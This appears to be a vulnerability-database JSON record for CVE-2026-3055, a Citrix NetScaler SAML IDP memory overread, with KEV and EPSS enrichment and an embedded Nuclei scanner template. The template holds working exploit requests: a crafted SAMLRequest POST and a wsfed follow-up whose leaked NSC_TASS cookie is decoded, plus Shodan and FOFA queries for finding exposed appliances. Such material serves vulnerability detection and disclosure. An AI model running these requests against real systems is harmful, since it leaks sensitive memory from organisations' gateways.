{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-3055/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-3055/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-3055/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-3055/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-3055/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-3055"},"sightings":{"href":"/api/v1/sightings/cve-2026-3055"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.87166,"kev":true,"percentile":0.99742},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-3055.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-3055\n\ninfo:\n  name: Citrix NetScaler SAML IDP - Memory Overread\n  author: watchtowr,shaikhyaser,DhiyaneshDk\n  severity: critical\n  description: |\n    NetScaler ADC and NetScaler Gateway contain an insufficient input validation vulnerability when configured as a SAML IDP, leading to memory overread, letting attackers potentially access sensitive memory, exploit requires configuration as SAML IDP\n  impact: |\n    Attackers can cause memory overread, potentially exposing sensitive information or causing application instability.\n  remediation: Update to the latest version with the fix for this vulnerability.\n  reference:\n    - https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696300\n    - https://labs.watchtowr.com/the-sequels-are-never-as-good-but-were-still-in-pain-citrix-netscaler-cve-2026-3055-memory-overread/\n    - https://labs.watchtowr.com/please-we-beg-just-one-weekend-free-of-appliances-citrix-netscaler-cve-2026-3055-memory-overread-part-2/\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query:\n      - title:\"NetScaler Gateway\"\n      - title:\"NetScaler AAA\"\n      - http.favicon.hash:-1166125415\n      - http.favicon.hash:-1292923998\n    fofa-query:\n      - title=\"NetScaler Gateway\"\n      - title=\"NetScaler AAA\"\n      - icon_hash=\"-1166125415\"\n      - icon_hash=\"-1292923998\"\n  tags: cve,cve2026,netscaler,citrix,exposure,kev,vkev,vuln\n\nflow: http(1) || http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /saml/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Accept-Encoding: gzip\n\n        SAMLRequest=PHNhbWxwOkF1dGhuUmVxdWVzdCB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiANCnhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iICANCklEPSJfMSINClZlcnNpb249IjIuMCIgUHJvdmlkZXJOYW1lPSJteSBwcm92aWRlciIgDQpEZXN0aW5hdGlvbj0iaHR0cDovL3dhdGNodG93ci9zYW1sLnBocCIgDQpQcm90b2NvbEJpbmRpbmc9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpiaW5kaW5nczpIVFRQLVBPU1QiIA0KPg0KICA8c2FtbDpJc3N1ZXI%2BaHR0cDovL3dhdGNodG93ci9zYW1sLnBocDwvc2FtbDpJc3N1ZXI%2BDQo8L3NhbWxwOkF1dGhuUmVxdWVzdD4%3D\n\n      - |\n        GET /wsfed/passive?wctx HTTP/1.1\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - regex('(?i)NSC_TASS=[A-Za-z0-9+/]+=*', set_cookie)\n          - 'status_code == 302'\n          - 'contains(base64_decode(nsc_tass), \"wctx=\")'\n          - '!contains(body, \"Parsing of presented Assertion failed\")'\n        condition: and\n\n    extractors:\n      - type: dsl\n        dsl:\n          - base64_decode(nsc_tass)\n# digest: 4a0a004730450220406d2dccc32a82831ddc8dfdec81d513c70d55da7324594a5ead9cdcf01a770102210086e0c3ca49f0abb8959e67730de028261f4ef59e17332d52ac062fc0e84d5a40:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-3055"}